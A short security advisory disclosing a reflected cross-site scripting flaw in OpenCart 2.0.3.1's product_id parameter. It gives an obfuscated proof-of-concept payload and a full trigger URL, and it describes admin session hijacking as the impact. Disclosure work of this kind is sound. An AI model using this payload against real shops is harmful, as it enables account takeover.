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# OpenCart 2.0.3.1 Cross Site Scripting Vulnerability
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Information
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Author: Hamed Izadi
Email: ("hamedizadi", "@", "gmail", ".com");
Name: XSS Vulnerability in OpenCart
Affected Software : OpenCart
Affected Versions: v2.0.3.1 and possibly below
Vendor Homepage : http://www.opencart.com
Vulnerability Type : Cross-site Scripting
Severity : Important
Description
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By exploiting a Cross-site scripting vulnerability the attacker can hijack
a logged in users session. This means that the malicious hacker can change
the logged in users password and invalidate the session of the victim
while the hacker maintains access. As seen from the XSS example in this
article, if a web application is vulnerable to cross-site scripting and the
administrators session is hijacked, the malicious hacker exploiting the
vulnerability will have full admin privileges on that web application.
Technical Details
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Proof of Concept URLs for XSS in OpenCart v2.0.3.1:
/opencart/index.php?route=product/product&product_id=1
(product_id - GET)
XSS Payload : %27);window[%27al\u0065rt%27](/XSS/);//
Example:
/opencart/index.php?route=product/product&product_id=1%27);window[%27al\u0065rt%27](/XSS/);//
After opening the above URL, click on "Add to Wish List" & "Compare this Product" icons,
and view the alert window.
Solution
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Upgrade to newer version
Credits & Authors
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These issues have been discovered by Hamed Izadi
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# Iran
# L U Arg
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